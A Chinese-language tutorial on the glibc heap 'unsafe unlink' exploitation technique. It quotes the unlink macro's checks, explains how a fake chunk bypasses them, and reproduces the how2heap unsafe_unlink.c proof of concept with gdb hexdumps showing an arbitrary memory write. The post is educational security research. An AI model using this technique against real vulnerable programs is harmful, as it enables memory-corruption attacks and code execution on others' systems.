堆利用 unlink 实战详解

堆溢出利用的精髓就是:用精心构造的数据去溢出下一个 chunk 的 header,改写 chunk header 中的前向指针 (flink) 和后向指针 (blink) ,然后在分配、释放、合并等操作发生时伺机获得一次向内存任意地址写入任意数据的机会。

unlink 利用方式就是在 free 的时候得到任意地址写入任意数据的机会。

利用条件:

  • 连续的两个堆内存空间,第一个堆可溢出,覆写第二个堆 header
  • free 第二个堆

本文对 unlink 检查机制及绕过做简单分析,然后实战分析 how2heap 里 unsafe_unlink。

unlink 检查机制及绕过

unlink 是一个宏。在最初 unlink 实现的时候,其实是没有对双向链表检查的。代码大致如下:

1
2
3
4
BK=second->bk
FD=second->fd
FD->bk=BK
BK->fd=FD

而以最新的 glibc 2.27 为例,则早已添加了检查机制:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
/* Take a chunk off a bin list */
#define unlink(AV, P, BK, FD) { \
if (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0)) \
malloc_printerr ("corrupted size vs. prev_size"); \
FD = P->fd; \
BK = P->bk; \
if (__builtin_expect (FD->bk != P || BK->fd != P, 0)) \
malloc_printerr ("corrupted double-linked list"); \
else { \
FD->bk = BK; \
BK->fd = FD; \
if (!in_smallbin_range (chunksize_nomask (P)) \
&& __builtin_expect (P->fd_nextsize != NULL, 0)) { \
if (__builtin_expect (P->fd_nextsize->bk_nextsize != P, 0) \
|| __builtin_expect (P->bk_nextsize->fd_nextsize != P, 0)) \
malloc_printerr ("corrupted double-linked list (not small)"); \
if (FD->fd_nextsize == NULL) { \
if (P->fd_nextsize == P) \
FD->fd_nextsize = FD->bk_nextsize = FD; \
else { \
FD->fd_nextsize = P->fd_nextsize; \
FD->bk_nextsize = P->bk_nextsize; \
P->fd_nextsize->bk_nextsize = FD; \
P->bk_nextsize->fd_nextsize = FD; \
} \
} else { \
P->fd_nextsize->bk_nextsize = P->bk_nextsize; \
P->bk_nextsize->fd_nextsize = P->fd_nextsize; \
} \
} \
} \
}

可以看到这里会修正指针,FD->bk = P,BK->fd = P

这样要满足条件的话,就需要预先构造合适的条件来 bypass 这个限制:

  • P->fd->bk = P
  • P->bk->fd = P

这样在 free unlink 后:

  • FD->bk = BK 等价于 P = P->bk
  • BK->fd = FD 等价于 P = P->fd

unsafe unlink 构造分析

这里以 how2heap 里最新版的 unsafe_unlink.c : https://github.com/shellphish/how2heap/blob/master/glibc_2.26/unsafe_unlink.c 为例,分析 bypass 及 fake 过程。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>


uint64_t *chunk0_ptr;

int main()
{
printf("Welcome to unsafe unlink 2.0!\n");
printf("Tested in Ubuntu 14.04/16.04 64bit.\n");
printf("This technique can be used when you have a pointer at a known location to a region you can call unlink on.\n");
printf("The most common scenario is a vulnerable buffer that can be overflown and has a global pointer.\n");

int malloc_size = 0x80; //we want to be big enough not to use fastbins
int header_size = 2;

printf("The point of this exercise is to use free to corrupt the global chunk0_ptr to achieve arbitrary memory write.\n\n");

chunk0_ptr = (uint64_t*) malloc(malloc_size); //chunk0
uint64_t *chunk1_ptr = (uint64_t*) malloc(malloc_size); //chunk1
printf("The global chunk0_ptr is at %p, pointing to %p\n", &chunk0_ptr, chunk0_ptr);
printf("The victim chunk we are going to corrupt is at %p\n\n", chunk1_ptr);

printf("We create a fake chunk inside chunk0.\n");
printf("We setup the 'next_free_chunk' (fd) of our fake chunk to point near to &chunk0_ptr so that P->fd->bk = P.\n");
chunk0_ptr[2] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*3);
printf("We setup the 'next_free_chunk' (bk) of our fake chunk to point near to &chunk0_ptr so that P->bk->fd = P.\n");
printf("With this setup we can pass this check: (P->fd->bk != P || P->bk->fd != P) != False\n");
chunk0_ptr[3] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*2);
printf("Fake chunk fd: %p\n",(void*) chunk0_ptr[2]);
printf("Fake chunk bk: %p\n",(void*) chunk0_ptr[3]);

printf("We assume that we have an overflow in chunk0 so that we can freely change chunk1 metadata.\n");
uint64_t *chunk1_hdr = chunk1_ptr - header_size;
printf("We shrink the size of chunk0 (saved as 'previous_size' in chunk1) so that free will think that chunk0 starts where we placed our fake chunk.\n");
printf("It's important that our fake chunk begins exactly where the known pointer points and that we shrink the chunk accordingly\n");
chunk1_hdr[0] = malloc_size;
printf("If we had 'normally' freed chunk0, chunk1.previous_size would have been 0x90, however this is its new value: %p\n",(void*)chunk1_hdr[0]);
printf("We mark our fake chunk as free by setting 'previous_in_use' of chunk1 as False.\n");
chunk1_hdr[1] &= ~1;

printf("Now we free chunk1 so that consolidate backward will unlink our fake chunk, overwriting chunk0_ptr.\n");
printf("You can find the source of the unlink macro at https://sourceware.org/git/?p=glibc.git;a=blob;f=malloc/malloc.c;h=ef04360b918bceca424482c6db03cc5ec90c3e00;hb=07c18a008c2ed8f5660adba2b778671db159a141#l1344\n");
free(chunk1_ptr);

printf("At this point we can use chunk0_ptr to overwrite itself to point to an arbitrary location.\n");
char victim_string[8];
strcpy(victim_string,"Hello!~");
chunk0_ptr[3] = (uint64_t) victim_string;

printf("chunk0_ptr is now pointing where we want, we use it to overwrite our victim string.\n");
printf("Original value: %s\n",victim_string);
chunk0_ptr[0] = 0x4141414142424242LL;
printf("New Value: %s\n",victim_string);
}

分析环境:

  • OS:wsl debian 4.4.0 64bits
  • gdb + gef
  • libc 2.24

连续申请两个堆后,第一个堆的mem ptr = 0x8403220,第二个堆的 mem ptr = 0x84032b0

第一个堆地址存储在 chunk0_ptr 中,&chunk0_ptr = 0x8202050

查看 0x8202038~0x8202050 存储的内容:

Addr Offset Value
0x8202038 0x0 0x0
0x8202040 0x8 0x8202040
0x8202048 0x10 0x0
0x8202050 0x18 0x8403220

查看第一个堆的状态:

1
2
3
4
5
6
gef➤  hexdump qword 0x8403210 L5
0x8403210+00000x0000000000000000
0x8403218+00080x0000000000000091
0x8403220+00100x0000000000000000
0x8403228+00180x0000000000000000
0x8403230+00200x0000000000000000

fake chunk 后第一个堆的状态:

1
2
3
4
5
6
7
8
9
gef➤  hexdump qword 0x8403210 L8
0x8403210+00000x0000000000000000
0x8403218+00080x0000000000000091
0x8403220+00100x0000000000000000
0x8403228+00180x0000000000000000
0x8403230+00200x0000000008202038
0x8403238+00280x0000000008202040
0x8403240+00300x0000000000000000
0x8403248+00380x0000000000000000

free 第二个 chunk 后 chunk0_ptr 存储的内容变了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
gef➤  hexdump qword 0x8403210 L8
0x8403210+00000x0000000000000000
0x8403218+00080x0000000000000091
0x8403220+00100x0000000000000000
0x8403228+00180x0000000000020de1
0x8403230+00200x0000000008202038
0x8403238+00280x0000000008202040
0x8403240+00300x0000000000000000
0x8403248+00380x0000000000000000
gef➤ hexdump qword 0x8202038 L6
0x8202038+0000 <data_start+0000> │ 0x0000000000000000
0x8202040+0008 <__dso_handle+0000> │ 0x0000000008202040
0x8202048+0010 <completed+0000> │ 0x0000000000000000
0x8202050+0018 <chunk0_ptr+0000> │ 0x0000000008202038
0x8202058+00200x0000000000000000
0x8202060+00280x0000000000000000

即满足条件绕过 unlink 链表 check 。

unsafe unlink 实现任意地址写数据分析

基于以上的分析,此时 chunk0_ptr 存储的是 0x8202038 这个地址,也就是说此时第一个堆的 mem ptr 不再是 0x8403220,而是 0x8202038

现在向第一个堆写入数据,其实就是往 0x8202038 这个地址写入数据,但是如果可以换掉这个地址,那么就可以往任意地址写任意数据了。效果如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
gef> n
//chunk0_ptr[3] = (uint64_t) victim_string;
//chunk0_ptr is now pointing where we want, we use it to overwrite our victim string
gef> hexdump qword 0x8202038 L10
0x8202038+0000 <data_start+0000> | 0x0000000000000000
0x8202040+0008 <__dso_handle+0000> | 0x0000000008202040
0x8202048+0010 <completed+0000> | 0x0000000000000000
0x8202050+0018 <chunk0_ptr+0000> | 0x00007ffffffee200
0x8202058+0020 | 0x0000000000000000
...
...
printf("Original value: %s\n",victim_string);
chunk0_ptr[0] = 0x4141414142424242LL;
printf("New Value: %s\n",victim_string);
gef> n
Original value: Hello!~
New Value: BBBBAAAA2@

Reference: